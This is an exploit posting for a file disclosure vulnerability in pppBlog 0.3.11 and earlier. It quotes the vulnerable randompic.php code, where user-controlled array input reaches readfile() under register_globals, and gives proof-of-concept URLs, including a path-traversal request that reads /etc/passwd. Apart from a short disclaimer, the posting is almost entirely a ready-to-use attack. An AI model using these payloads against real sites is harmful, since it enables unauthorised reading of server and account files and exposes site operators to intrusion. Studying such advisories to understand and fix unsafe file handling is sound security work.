# pppBlog <= 0.3.11 (randompic.php) System File Disclosure Vulnerability
# url: http://sourceforge.net/projects/pppblog/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# In memory of rgod ;)

*Requeriments: register_globals = On

vulnerable code in randompic.php at lines 66-72:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
if (is_array($files)){
    if (is_file($files[$randnum])){
  readfile("$dir/$files[$randnum]");
    }
}
...

poc[0] = randompic.php?files[0]=[file]
poc[1] = randompic.php?files[0]=../../../../../../../../../../etc/passwd

linked: http://milw0rm.com/exploits/1853 (pppBlog 0.3.8, thanks rgod).

tested on localhost with register_globals = On.

Hack0wn :D